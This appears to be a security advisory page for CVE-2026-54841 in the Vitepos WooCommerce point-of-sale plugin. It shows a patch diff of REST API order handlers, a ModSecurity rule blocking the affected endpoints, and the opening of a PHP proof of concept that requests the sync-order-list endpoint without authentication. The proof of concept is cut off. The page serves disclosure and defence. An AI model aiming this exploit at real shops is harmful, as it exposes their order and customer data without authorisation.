-	}
-	/**
-	 * The deny order is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function deny_order() {
-		$order_id  = $this->get_payload( 'order_id' );
-		$reason_id = $this->get_payload( 'reason_id' );
-		if ( empty( $reason_id ) ) {
-			$this->response->set_response( false, 'Deny reason is required', null );
-			return $this->response->get_response();
-		}
-		if ( ! empty( $order_id ) ) {
-			$order = new WC_Order( $order_id );
-			if ( $order->update_status( 'vt_kitchen_deny', 'Deny from kitchen', true ) ) {
-				$this->add_time_by_status( $order, 'vt_kitchen_deny' );
-				$msg_obj = new Mapbd_Pos_Message();
-				$msg_obj->id( $reason_id );
-				if ( $msg_obj->select( 'msg' ) ) {
-					$msg = POS_Order::add_resto_order_msg( $order_id, $msg_obj->msg );
-				}
-				$updated_order = POS_Order::get_from_woo_order_restro_by_id( $order_id, false, true );
-				$this->response->set_response( true, 'Order denied success', $updated_order );
-				return $this->response->get_response();
-			}
-		}
-		$this->response->set_response( false, 'Order deny failed', null );
-		return $this->response->get_response();
-	}
-	/**
-	 * The deny order is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function add_kitchen_msg() {
-
-
-		$order_id = $this->get_payload( 'order_id', '' );
-		$msg      = $this->get_payload( 'msg', '' );
-		if ( ! empty( $order_id ) && ! empty( $msg ) ) {
-			$msgs = POS_Order::add_resto_order_msg( $order_id, $msg );
-			if ( false !== $msgs ) {
-				$updated_order = POS_Order::get_from_woo_order_restro_by_id( $order_id, false, true );
-				$this->response->set_response( true, 'Successfully message added', $updated_order );
-				return $this->response->get_response();
-			}
-		}
-		$this->response->set_response( false, 'Message add failed', null );
-		return $this->response->get_response();
-	}
-
-	/**
-	 * The send to kitchen is generated by appsbd
-	 *
-	 * @param false $is_offline Its offline param.
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function send_to_kitchen( $is_offline = false ) {
-		self::set_vite_pos_request();
-		$payment = new POS_Payment( $this->payload, $this->get_outlet_id(), $this->get_counter_id() );
-		if ( $payment->send_to_kitchen() ) {
-			$this->response->set_response( true, '', $payment->get_order_details() );
-		} else {
-			$this->response->set_response( false, '' );
-		}
-		return $this->response->get_response();
-	}
-	/**
-	 * The send to kitchen2 is generated by appsbd
-	 *
-	 * @param false $is_offline Its offline param.
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function send_to_kitchen2( $is_offline = false ) {
-		self::set_vite_pos_request();
-		if ( ! POS_Settings::is_admin_user() ) {
-			if ( ! current_user_can( 'pos-discount' ) && ( ! empty( $this->payload['discounts'] ) && is_array( $this->payload['discounts'] ) ) ) {
-				$this->response->set_response( false, 'You do not have permission to give discount' );
-				return $this->response->get_response();
-			}
-			$current_user  = get_user_by( 'id', $this->get_current_user_id() );
-			$user_discount = Mapbd_Pos_Role::get_discount_percentage( $current_user );
-			if ( ! $this->check_discount_limit(
-				$this->payload['sub_total'],
-				$user_discount,
-				$this->payload['discounts']
-			) ) {
-				$this->response->set_response( false, 'You can not give this much discount' );
-
-				return $this->response->get_response();
-			}
-		}
-		if ( ! current_user_can( 'pos-fee' ) && ( ! empty( $this->payload['fees'] ) && is_array( $this->payload['fees'] ) ) ) {
-			$this->response->set_response( false, 'You do not have permission to have fees' );
-
-			return $this->response->get_response();
-		}
-		$outlet_obj   = $this->get_outlet_obj();
-		$given_amount = 0.0;
-		$grand_total  = (float) $this->get_payload( 'grand_total', 0.0 );
-
-		if ( ! empty( $this->payload['items'] ) ) {
-			$billing_address = array(
-				'first_name' => $outlet_obj->name,
-				'last_name'  => '',
-				'email'      => $outlet_obj->email,
-				'phone'      => $outlet_obj->phone,
-				'address_1'  => 'Y' == $outlet_obj->main_branch ? 'Main Branch' : '',
-				'city'       => $outlet_obj->city,
-				'state'      => $outlet_obj->state,
-				'postcode'   => $outlet_obj->zip_code,
-				'country'    => $outlet_obj->country,
-			);
-			$customer_id     = $this->get_payload( 'customer', '' );
-			$order_arg       = array();
-			if ( ! empty( $customer_id ) ) {
-				$order_arg['customer_id'] = $customer_id;
-			}
-
-			$order = wc_create_order( $order_arg );
-			if ( ! empty( $customer_id ) ) {
-				/**
-				 * Its for check is there any change before process
-				 *
-				 * @param $billing address
-				 * @param $order WC_Order Object
-				 * @param $order_arg customer data
-				 * @since 1.0
-				 */
-				$billing_address = apply_filters( 'vitepos/filter/billing-address', $billing_address, $order, $customer_id );
-				$order->set_address( $billing_address, 'billing' );
-			}
-			$total_amount = 0.0;
-			$total_tax    = 0.0;
-			foreach ( $this->payload['items'] as $item ) {
-				$arguments = array(
-					'total_tax' => $item['tax_amount'] * $item['quantity'],
-
-				);
-				try {
-					$item_regular_price = 0.0;
-					$item_sale_price    = 0.0;
-					$item_price         = 0.0;
-					if ( ! empty( $item['variation_id'] ) ) {
-						if ( ! empty( $item['attributes'] ) && is_array( $item['attributes'] ) ) {
-							$arguments ['variation'] = array();
-							foreach ( $item['attributes'] as $attribute ) {
-								$attribute                                       = (object) $attribute;
-								$arguments ['variation'][ $attribute->opt_slug ] = $attribute->val_slug;
-							}
-						} else {
-							$arguments ['variation'] = vitepos_get_product_variation_attributes( $item['variation_id'] );
-						}
-
-						$arguments ['name'] = wc_get_product( $item['product_id'] )->get_name();
-						$product            = new WC_Product_Variation( $item['variation_id'] );
-						if ( ! empty( $item['addon_total'] ) ) {
-							$item_regular_price = floatval( $product->get_regular_price( '' ) );
-							$item_sale_price    = floatval( $product->get_sale_price( '' ) );
-							$item_price         = floatval( $product->get_price( '' ) );
-							$price              = $item_price + floatval( $item['addon_total'] );
-							$product->set_price( $price );
-							$product->set_regular_price( $item_regular_price );
-						}
-						$item_id = $order->add_product(
-							$product,
-							$item['quantity'],
-							$arguments
-						);
-					} else {
-						$product = wc_get_product( $item['product_id'] );
-						if ( ! empty( $item['addon_total'] ) ) {
-							$item_regular_price = floatval( $product->get_regular_price( '' ) );
-							$item_sale_price    = floatval( $product->get_sale_price( '' ) );
-							$item_price         = floatval( $product->get_price( '' ) );
-							$price              = $item_price + floatval( $item['addon_total'] );
-							$product->set_price( $price );
-							$product->set_regular_price( $item_regular_price );
-						}
-						$item_id = $order->add_product(
-							$product,
-							$item['quantity'],
-							$arguments
-						);
-					}
-					$total_tax += ( $item['quantity'] * $item['tax_amount'] );
-					$oitem      = new WC_Order_Item_Product( $item_id );
-					if ( ! empty( $item['attributes'] ) && is_array( $item['attributes'] ) ) {
-						$oitem->add_meta_data( '_vtp_attributes', $item['attributes'] );
-					}
-
-					if ( ! empty( $item_regular_price ) ) {
-						if ( ! empty( $item['addon_total'] ) ) {
-							$oitem->add_meta_data(
-								'_vtp_regular_price',
-								$item_regular_price + floatval( $item['addon_total'] )
-							);
-						}
-					} else {
-						$oitem->add_meta_data( '_vtp_regular_price', '' );
-					}
-
-					if ( ! empty( $item['addon_total'] ) ) {
-						$oitem->add_meta_data( '_vtp_addon_total', floatval( $item['addon_total'] ) );
-					}
-					if ( ! empty( $item['addon_tax'] ) ) {
-						$oitem->add_meta_data( '_vtp_addon_tax', floatval( $item['addon_tax'] ) );
-					}
-					if ( ! empty( $item['addons'] ) ) {
-						$oitem->add_meta_data( '_vtp_items_price', $item_price );
-						$oitem->add_meta_data( '_vtp_addons', $item['addons'] );
-					}
-					$oitem->save();
-
-				} catch ( Exception $e ) {
-					$this->add_error( $e->getMessage() );
-				}
-			}
-			$order->calculate_totals( true );
-			$total_amount = $order->get_subtotal();
-
-			$fee_total = 0.0;
-			if ( ! empty( $this->payload['fees'] ) && is_array( $this->payload['fees'] ) ) {
-				foreach ( $this->payload['fees'] as $item ) {
-					if ( ! empty( $item['type'] ) && ! empty( $item['val'] ) ) {
-						$item_val = floatval( $item['val'] );
-						$title    = POS_Settings::get_module_instance()->__( 'Fee' );
-						if ( $item_val > 0 ) {
-							if ( strtoupper( $item['type'] ) == 'P' ) {
-								$item_amount = $total_amount * ( $item_val / 100 );
-								$title      .= '(' . $item['val'] . '%)';
-							} else {
-								$item_amount = $item_val;
-							}
-							$fee_total += $item_amount;
-							vitepos_order_add_fee_on_order(
-								$order,
-								$title,
-								$item_amount,
-								array(
-									'_vtp_cal_type' => $item['type'],
-									'_vtp_cal_val'  => $item['val'],
-								)
-							);
-						}
-					}
-				}
-			}
-			if ( ! $is_offline && ! POS_Settings::is_admin_user() ) {
-				if ( ! $this->check_discount_limit( $total_amount, $user_discount, $this->payload['discounts'] ) ) {
-					$order->delete( true );
-					$this->response->set_response( false, 'You can not give this much discount' );
-
-					return $this->response->get_response();
-				}
-			}
-
-			$discount_total = 0.0;
-			$discount       = 0.0;
-			if ( ! empty( $this->payload['discounts'] ) && is_array( $this->payload['discounts'] ) ) {
-				foreach ( $this->payload['discounts'] as $item ) {
-					if ( ! empty( $item['type'] ) && ! empty( $item['val'] ) ) {
-						$item_val = floatval( $item['val'] );
-						$title    = POS_Settings::get_module_instance()->__( 'Discount' );
-						if ( $item_val > 0 ) {
-							if ( strtoupper( $item['type'] ) == 'P' ) {
-								$item_amount = $total_amount * ( $item_val / 100 );
-								$title      .= '(' . $item['val'] . '%)';
-							} else {
-								$item_amount = $item_val;
-							}
-							$discount += $item_amount;
-							vitepos_order_add_discount_on_order(
-								$order,
-								$title,
-								$item_amount,
-								array(
-									'_vtp_cal_type' => $item['type'],
-									'_vtp_cal_val'  => $item['val'],
-								)
-							);
-						}
-					}
-				}
-			}
-
-			try {
-				if ( $total_tax > 0 ) {
-					$order->set_cart_tax( $total_tax );
-				}
-			} catch ( Exception $e ) {
-				$this->add_error( $e->getMessage() );
-			}
-
-			$order->calculate_totals( false );
-			$rounding_factor = null;
-			if ( $order->get_total() != $grand_total ) {
-				try {
-					$order->add_meta_data( '_vtp_miss_total', ( - 1 ) * ( $order->get_total() - $grand_total ) );
-					$order->set_total( $grand_total );
-				} catch ( Exception $e ) {
-					$order->calculate_totals( false );
-				}
-			}
-
-			$order->add_meta_data( '_is_vitepos', 'Y' );
-			$order->add_meta_data( '_vtp_fee_total', - $fee_total );
-			$order->add_meta_data( '_vtp_discount_total', - $discount_total );
-			$order->add_meta_data( '_vtp_order_note', $this->get_payload( 'note', '' ) );
-			$order->add_meta_data( '_vtp_tables', $this->get_payload( 'table_id', array() ) );
-			$order->add_meta_data( '_vtp_persons', $this->get_payload( 'persons', 0 ) );
-			$order->add_meta_data( '_vtp_order_type', $this->get_payload( 'order_type', 'in_store' ) );
-			$order->add_meta_data( '_vtp_is_resto', 'Y' );
-			$processed_by = $this->get_current_user_id();
-			$order->add_meta_data( '_vtp_order_by', $processed_by );
-			$outlet_id  = $this->get_outlet_id();
-			$counter_id = $this->get_counter_id();
-
-			add_post_meta( $order->get_id(), '_vtp_outlet_id', $outlet_id );
-			$order->add_meta_data( '_vtp_counter_id', $counter_id );
-
-			if ( $order->update_status( 'vt_in_kitchen', 'Sent to kitchen', true ) ) {
-				$this->add_time_by_status( $order, 'vt_in_kitchen' );
-				$this->response->set_response(
-					true,
-					'Order successfully sent to kitchen',
-					POS_Order::get_from_woo_order_restro_by_id( $order->get_id(), false, true )
-				);
-			} else {
-				$this->response->set_response( false, 'Failed', null );
-			}
-		} else {
-			$this->response->set_response( false, 'Items empty', null );
-		}
-
-		return $this->response->get_response();
-	}
-
-	/**
-	 * The check discount limit is generated by appsbd
-	 *
-	 * @param any   $subtotal Its subtotal param.
-	 * @param any   $user_discount Its user discount param.
-	 * @param array $discounts Its discount param.
-	 *
-	 * @return bool
-	 */
-	public function check_discount_limit( $subtotal, $user_discount, $discounts = array() ) {
-		$user_max_discount = 0.00;
-		if ( ! empty( $subtotal ) && $user_discount > 0 ) {
-			$user_max_discount = $user_max_discount + ( floatval( $subtotal ) ) * ( floatval( $user_discount / 100 ) );
-		}
-		$discount_payload = 0.00;
-		if ( $user_discount > 0 && ( ! empty( $discounts ) && is_array( $discounts ) ) ) {
-			foreach ( $discounts as $item ) {
-				if ( strtoupper( $item['type'] ) == 'P' ) {
-					$discount_payload = $discount_payload + ( floatval( $subtotal ) ) * ( floatval( $item['val'] / 100 ) );
-				} else {
-					$discount_payload = $discount_payload + ( floatval( $item['val'] ) );
-				}
-			}
-		}
-		if ( $user_max_discount < $discount_payload ) {
-			return false;
-		}
-		return true;
-	}
-	/**
-	 * The order list is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function waiter_order_list() {
-		$response_data = new API_Data_Response();
-		$outlet_id     = $this->get_outlet_id();
-		$order_by      = $this->get_current_user_id();
-		$args          = array(
-			'status'        => array( 'vt_in_kitchen', 'vt_preparing', 'vt_served', 'vt_kitchen_deny', 'vt_ready_to_srv', 'vt_cancel_request' ),
-
-			'page'          => $this->get_payload( 'page', 1 ),
-			'orderby'       => 'date',
-			'order'         => 'DESC',
-			'paginate'      => true,
-			'vt_meta_query' => array(
-				array(
-					'key'     => '_is_vitepos',
-					'value'   => 'Y',
-					'compare' => '=',
-				),
-				array(
-					'key'     => '_vtp_outlet_id',
-					'value'   => $outlet_id,
-					'compare' => '=',
-				),
-				array(
-					'key'     => '_vtp_order_by',
-					'value'   => $order_by,
-					'compare' => '=',
-				),
-				array(
-					'key'     => '_vtp_is_resto',
-					'value'   => 'Y',
-					'compare' => '=',
-				),
-			),
-		);
-		if ( ! POS_Settings::is_admin_user() && ! current_user_can( 'can-see-any-outlet-orders' ) ) {
-			$outlets = get_user_meta( $this->get_current_user_id(), 'outlet_id', true );
-			if ( is_array( $outlets ) ) {
-				$args['vt_meta_query'][] = array(
-					'key'     => '_vtp_outlet_id',
-					'value'   => $outlets,
-					'compare' => 'IN',
-				);
-			} else {
-				$this->add_error( "You don't have permission to view details of this outlet" );
-				$response_data->set_total_records( 0 );
-				$this->response->set_response( false, '', $response_data );
-				return $this->response->get_response();
-			}
-		}
-
-			$src_props     = $this->get_payload( 'src_by', array() );
-			$sort_by_props = $this->get_payload( 'sort_by', array() );
-			POS_Order::order_search_props( $args, $src_props );
-			POS_Order::order_sort_param( $sort_by_props, $args );
-			$orders = wc_get_orders( $args );
-
-			$orderlist = array();
-		if ( ! empty( $orders->orders ) && is_array( $orders->orders ) ) {
-			$is_with_items = $this->get_payload( 'with_items', 'N' ) == 'Y';
-			foreach ( $orders->orders as $order ) {
-				$order_data  = POS_Order::get_from_woo_order( $order, false, $is_with_items );
-				$orderlist[] = $order_data;
-			}
-		}
-
-			$response_data->limit = $this->get_payload( 'limit', 10 );
-			$response_data->page  = $this->get_payload( 'page', 1 );
-		if ( $response_data->set_total_records( $orders->total ) ) {
-			$response_data->rowdata = $orderlist;
-		}
-
-			$this->response->set_response( true, 'Order found', $response_data );
-
-			return $this->response;
-	}
-
-	/**
-	 * The waiter order list is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function kitchen_order_list() {
-		$response_data = new API_Data_Response();
-		$args          = array(
-			'status'        => array( 'vt_in_kitchen', 'vt_preparing', 'vt_served', 'vt_kitchen_deny', 'vt_ready_to_srv', 'vt_cancel_request' ),
-			'limit'         => $this->get_payload( 'limit', 10 ),
-			'page'          => $this->get_payload( 'page', 1 ),
-			'orderby'       => 'date',
-			'order'         => 'DESC',
-			'paginate'      => true,
-			'vt_meta_query' => array(
-				array(
-					'key'     => '_is_vitepos',
-					'value'   => 'Y',
-					'compare' => '=',
-				),
-				array(
-					'key'     => '_vtp_outlet_id',
-					'value'   => $this->get_outlet_id(),
-					'compare' => '=',
-				),
-				array(
-					'key'     => '_vtp_is_resto',
-					'value'   => 'Y',
-					'compare' => '=',
-				),
-			),
-		);
-
-
-
-		$src_props     = $this->get_payload( 'src_by', array() );
-		$sort_by_props = $this->get_payload( 'sort_by', array() );
-		POS_Order::order_search_props( $args, $src_props );
-		POS_Order::order_sort_param( $sort_by_props, $args );
-		$orders = wc_get_orders( $args );
-
-		$orderlist = array();
-		if ( ! empty( $orders->orders ) && is_array( $orders->orders ) ) {
-			foreach ( $orders->orders as $order ) {
-				$order_data  = POS_Order::get_from_woo_order( $order, false, true );
-				$orderlist[] = $order_data;
-			}
-		}
-
-		$response_data->limit = $this->get_payload( 'limit', 10 );
-		$response_data->page  = $this->get_payload( 'page', 1 );
-		if ( $response_data->set_total_records( $orders->total ) ) {
-			$response_data->rowdata = $orderlist;
-		}
-
-		$this->response->set_response( true, 'Order found', $response_data );
-		return $this->response;
-	}
-
-	/**
-	 * The order list is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function online_order_list() {
-		$response_data = new API_Data_Response();
-		$args          = array(
-			'limit'    => $this->get_payload( 'limit', 10 ),
-			'page'     => $this->get_payload( 'page', 1 ),
-			'orderby'  => 'date',
-			'order'    => 'DESC',
-			'paginate' => true,
-
-		);
-		$src_props     = $this->get_payload( 'src_by', array() );
-		$sort_by_props = $this->get_payload( 'sort_by', array() );
-		POS_Order::order_search_props( $args, $src_props );
-		POS_Order::order_sort_param( $sort_by_props, $args );
-		$args['vt_meta_query'][] = array(
-			'key'     => '_is_vitepos',
-			'value'   => 'Y',
-			'compare' => 'NOT EXISTS',
-		);
-		$orders                  = wc_get_orders( $args );
-		$orderlist               = array();
-		if ( ! empty( $orders->orders ) && is_array( $orders->orders ) ) {
-			foreach ( $orders->orders as $order ) {
-				$order_data  = POS_Order::get_from_woo_order( $order );
-				$orderlist[] = $order_data;
-			}
-		}
-
-		$response_data->limit = $this->get_payload( 'limit', 10 );
-		$response_data->page  = $this->get_payload( 'page', 1 );
-		if ( $response_data->set_total_records( $orders->total ) ) {
-			$response_data->rowdata = $orderlist;
-		}
-
-		$this->response->set_response( true, 'Order found', $response_data );
-		return $this->response;
-	}
-
-	/**
-	 * The order list is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function served_list() {
-		$response_data = new API_Data_Response();
-		$outlet_id     = $this->get_outlet_id();
-		$order_by      = $this->get_current_user_id();
-		$args          = array(
-			'status'        => array( 'vt_in_kitchen', 'vt_preparing' ),
-			'limit'         => $this->get_payload( 'limit', 10 ),
-			'page'          => $this->get_payload( 'page', 1 ),
-			'orderby'       => 'date',
-			'order'         => 'DESC',
-			'paginate'      => true,
-			'vt_meta_query' => array(
-				array(
-					'key'     => '_is_vitepos',
-					'value'   => 'Y',
-					'compare' => '=',
-				),
-				array(
-					'key'     => '_vtp_outlet_id',
-					'value'   => $outlet_id,
-					'compare' => '=',
-				),
-				array(
-					'key'     => '_vtp_order_by',
-					'value'   => $order_by,
-					'compare' => '=',
-				),
-				array(
-					'key'     => '_vtp_is_resto',
-					'value'   => 'Y',
-					'compare' => '=',
-				),
-			),
-		);
-
-
-
-		$src_props     = $this->get_payload( 'src_by', array() );
-		$sort_by_props = $this->get_payload( 'sort_by', array() );
-		POS_Order::order_search_props( $args, $src_props );
-		POS_Order::order_sort_param( $sort_by_props, $args );
-		$orders = wc_get_orders( $args );
-
-		$orderlist = array();
-		if ( ! empty( $orders->orders ) && is_array( $orders->orders ) ) {
-			foreach ( $orders->orders as $order ) {
-				$order_data = POS_Order::get_from_woo_order( $order );
-				if ( true || $this->get_payload( 'with_items', 'N' ) == 'Y' ) {
-
-					$order_data->items = array();
-					POS_Order::set_items_to_order( $order_data, $order );
-
-				}
-				$orderlist[] = $order_data;
-			}
-		}
-
-		$response_data->limit = $this->get_payload( 'limit', 10 );
-		$response_data->page  = $this->get_payload( 'page', 1 );
-		if ( $response_data->set_total_records( $orders->total ) ) {
-			$response_data->rowdata = $orderlist;
-		}
-
-		$this->response->set_response( true, 'Order found', $response_data );
-
-		return $this->response;
-	}
-	/**
-	 * The order list is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function canned_messages() {
-		$response_data = new API_Data_Response();
-		$type          = $this->payload['type'];
-		$mainobj       = new Mapbd_Pos_Message();
-
-
-		$mainobj->msg_panel( "in ('A','{$type}')", true );
-
-		$mainobj->status( 'A' );
-		$response_data->rowdata = $mainobj->select_all_grid_data( '', 'created_at', 'DESC' );
-		$this->response->set_response( true, 'Order found', $response_data->rowdata );
-		return $this->response;
-	}
 	/**
 	 * The order list is generated by appsbd
 	 *
@@ -1251,110 +119,4 @@
 		$this->response->set_response( true, 'Order found', $response_data );
 		return $this->response->get_response();
 	}
-
-	/**
-	 * The order details is generated by appsbd
-	 *
-	 * @param any $data Its string.
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function order_details( $data ) {
-		if ( ! empty( $data['id'] ) ) {
-			$id    = intval( $data['id'] );
-			$order = wc_get_order( $id );
-			if ( ! empty( $order ) ) {
-				$order_data         = POS_Order::get_from_woo_order( $order, false, true );
-				$order_data->status = $order->get_status();
-				$this->response->set_response( true, 'Order Found', $order_data );
-				return $this->response;
-			} else {
-				$this->response->set_response( false, 'Order is empty', null );
-				return $this->response;
-			}
-		} else {
-			$this->response->set_response( false, 'request id not found', null );
-			return $this->response;
-		}
-	}
-	/**
-	 * The order details is generated by appsbd
-	 *
-	 * @param any $data Its string.
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function cashier_details( $data ) {
-		if ( ! empty( $data['id'] ) ) {
-			$id    = intval( $data['id'] );
-			$order = wc_get_order( $id );
-			if ( ! empty( $order ) ) {
-				$order_data         = POS_Order::get_from_woo_order( $order, false, true );
-				$order_data->status = $order->get_status();
-				$this->response->set_response( true, 'Order Found', $order_data );
-				return $this->response;
-			} else {
-				$this->response->set_response( false, 'Order is empty', null );
-				return $this->response;
-			}
-		} else {
-			$this->response->set_response( false, 'request id not found', null );
-			return $this->response;
-		}
-	}
-	/**
-	 * The order details is generated by appsbd
-	 *
-	 * @return AppsbdV1libsAPI_Response
-	 */
-	public function change_status() {
-		$id    = intval( $this->get_payload( 'id' ) );
-		$order = new WC_Order( $id );
-		if ( $order ) {
-
-			$processed_by = get_current_user_id();
-			$outlet_obj   = $this->get_outlet_obj();
-			$order->add_order_note( 'Order completed from ' . "{$outlet_obj->name}" );
-			$order->update_meta_data( '_vtp_processed_by', $processed_by );
-			$order->update_meta_data( '_vtp_outlet_id', $this->get_outlet_id() );
-			if ( $order->update_status( $this->get_payload( 'status' ) ) ) {
-				$data               = new stdClass();
-				$order_data         = POS_Order::get_from_woo_order_details( $order );
-				$data->processed_by = $order_data->processed_by;
-				$data->outlet_info  = $order_data->outlet_info;
-				$this->response->set_response( true, 'Updated Successfully', $data );
-				return $this->response;
-			} else {
-				$this->response->set_response( false, 'Not updated', null );
-				return $this->response;
-			}
-		} else {
-			$this->response->set_response( false, 'Not order found', null );
-			return $this->response;
-		}
-	}
-
-	/**
-	 * The add time by status is generated by appsbd
-	 *
-	 * @param any $order Its order param.
-	 * @param any $status Its status param.
-	 *
-	 * @return bool
-	 */
-	public function add_time_by_status( $order, $status ) {
-		 $time_meta_key = '_vt_time_log';
-		$time_logs      = $order->get_meta( $time_meta_key );
-		if ( ! is_array( $time_logs ) ) {
-				$time_logs = array();
-		}
-			$time_obj         = new stdClass();
-			$time_obj->status = $status;
-			$time_obj->time   = gmdate( 'Y-m-d H:i:s' );
-			$time_logs[]      = $time_obj;
-		if ( vitepos_wc_update_meta( $order, $time_meta_key, $time_logs ) ) {
-			return true;
-		}
-		return false;
-	}
 }
--- a/vitepos-lite/vitepos_lite/api/v1/class-pos-user-api.php
+++ b/vitepos-lite/vitepos_lite/api/v1/class-pos-user-api.php
@@ -50,7 +50,7 @@
 		$this->register_rest_route( 'POST', 'change-pass', array( $this, 'change_pass' ) );
 		$this->register_rest_route( 'POST', 'change-pass-force', array( $this, 'change_pass_force' ) );
 		$this->register_rest_route( 'POST', 'delete-user', array( $this, 'delete_user' ) );
-		$this->register_rest_route( 'GET', 'close-cash-drawer', array( $this, 'close_cash_drawer' ) );
+		$this->register_rest_route( 'POST', 'close-cash-drawer', array( $this, 'close_cash_drawer' ) );
 		$this->register_rest_route( 'GET', 'cash-drawer-list', array( $this, 'cash_drawer_list' ) );
 		$this->register_rest_route( 'GET', 'roles', array( $this, 'roles' ) );
 		$this->register_rest_route( 'POST', 'create', array( $this, 'create_user' ) );
@@ -186,7 +186,7 @@
 		$response_data->caps         = Mapbd_Pos_Role::set_capabilities_by_role( $user->caps, $user );
 		$response_data->outlets      = Mapbd_Pos_Warehouse::get_outlet_details( $user );
 		$response_data->is_temp_pass = get_user_meta( $user->ID, 'force_pw_change', true );
-
+
 		/**
 		 * Its for logged user
 		 *
@@ -397,7 +397,7 @@
 		$users_obj->username   = $user->user_nicename;
 		$users_obj->email      = $user->user_email;
 		$users_obj->city       = get_user_meta( $user->ID, 'billing_city', true );
-
+
 		$users_obj->contact_no  = get_user_meta( $user->ID, 'billing_phone', true );
 		$users_obj->street      = get_user_meta( $user->ID, 'billing_address_1', true );
 		$users_obj->country     = get_user_meta( $user->ID, 'billing_country', true );
@@ -436,8 +436,7 @@
 			if ( is_array( $outlets ) ) {
 				$args['meta_query'][] = array(
 					'key'     => 'outlet_id',
-
-
+
 					'value'   => '"(' . implode( '|', $outlets ) . ')"',
 					'compare' => 'REGEXP',
 				);
@@ -530,7 +529,7 @@
 		$outlet_place->cash_drawer_id = ! empty( $existing_drawer->id ) ? $existing_drawer->id : 0;
 		$outlet_place->is_submitted   = 0 != $this->payload['is_submitted'];
 		if ( ! empty( $this->payload['is_new'] ) ) {
-
+
 			$outlet_place->cd_balance = $this->payload['cd_balance'];
 			$cash_drawar              = Mapbd_Pos_Cash_Drawer::create_by_counter( $outlet_place->cd_balance, $outlet_place->outlet, $outlet_place->counter, $this->get_current_user_id() );
 			if ( ! empty( $cash_drawar->id ) ) {
--- a/vitepos-lite/vitepos_lite/core/class-vitepos-module.php
+++ b/vitepos-lite/vitepos_lite/core/class-vitepos-module.php
@@ -28,8 +28,6 @@
 	 * @return bool
 	 */
 	public function app_check_ajax_referer( $is_return = false ) {
-
-

 		if ( ! check_ajax_referer( 'vitepos', '_wpnonce', false ) ) {
 			if ( $is_return ) {
--- a/vitepos-lite/vitepos_lite/core/class-viteposlite.php
+++ b/vitepos-lite/vitepos_lite/core/class-viteposlite.php
@@ -184,7 +184,6 @@
 		$this->add_module( 'VitePos_LiteModulesPOS_Settings' );
 		$this->add_module( 'VitePos_LiteModulesPOS_Payment' );
 		$this->add_module( 'VitePos_LiteModulesAppsbd_Related_App' );
-		$this->add_module( 'VitePos_LiteModulesMU_Plugin_Settings' );
 	}

 	/**
@@ -200,7 +199,7 @@
 		if ( empty( $src ) || 1 == $src || preg_match( '/apbd-|/', $handle ) || preg_match( '//uilib|apbd-|/css/all-css.css|/wp-admin/|/wp-includes/|/plugins/woocommerce/assets/|/plugins/elementor/assets/css/admin/', $src ) ) {
 			return true;
 		}
-		return parent::wp_admin_check_default_css_script( $src, $handle );
+		return parent::wp_admin_check_default_css_script( $src, $handle );
 	}

 	/**
--- a/vitepos-lite/vitepos_lite/helper/global-helper.php
+++ b/vitepos-lite/vitepos_lite/helper/global-helper.php
@@ -37,15 +37,14 @@
 	 * @return bool
 	 */
 	function vitepos_move_uploaded_file( $file, $destination ) {
-
+
 		if ( copy( $file, $destination ) ) {
-
+
 			wp_delete_file( $file );

-
 			return true;
 		} else {
-
+
 			return false;
 		}
 	}
@@ -62,22 +61,19 @@
 	function vitepos_read_file_with_wp_filesystem( $file_path ) {
 		global $wp_filesystem;

-
 		if ( ! function_exists( 'request_filesystem_credentials' ) ) {
 			require_once ABSPATH . 'wp-admin/includes/file.php';
 		}

-
 		if ( ! WP_Filesystem() ) {
-			return false;
+			return false;
 		}

-
 		if ( $wp_filesystem->exists( $file_path ) ) {
-
+
 			return $wp_file

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@beginsWith /wp-json/vitepos/v1/" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-54841 via Vitepos REST API',severity:CRITICAL,tag:'CVE-2026-54841'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:action "@rx ^(sync-order-list|cancel-order-request|send-to-kitchen|start-preparing|make-served|deny-order|cancel-order|add-kitchen-note|served-list|canned-message|change-status)$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54841 - Vitepos – Point of Sale (POS) for WooCommerce <= 3.4.2 - Unauthenticated Information Exposure

$target_url = 'http://example.com'; // Change to target WordPress URL

/**
 * Exploit: Access the sync-order-list endpoint without authentication
 * This endpoint should be protected, but in vulnerable versions it is accessible to any unauthenticated user.
 */
$endpoint = $target_url . '/wp-json/vitepos/v1/sync-order-list'; // Adjust namespace if different

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
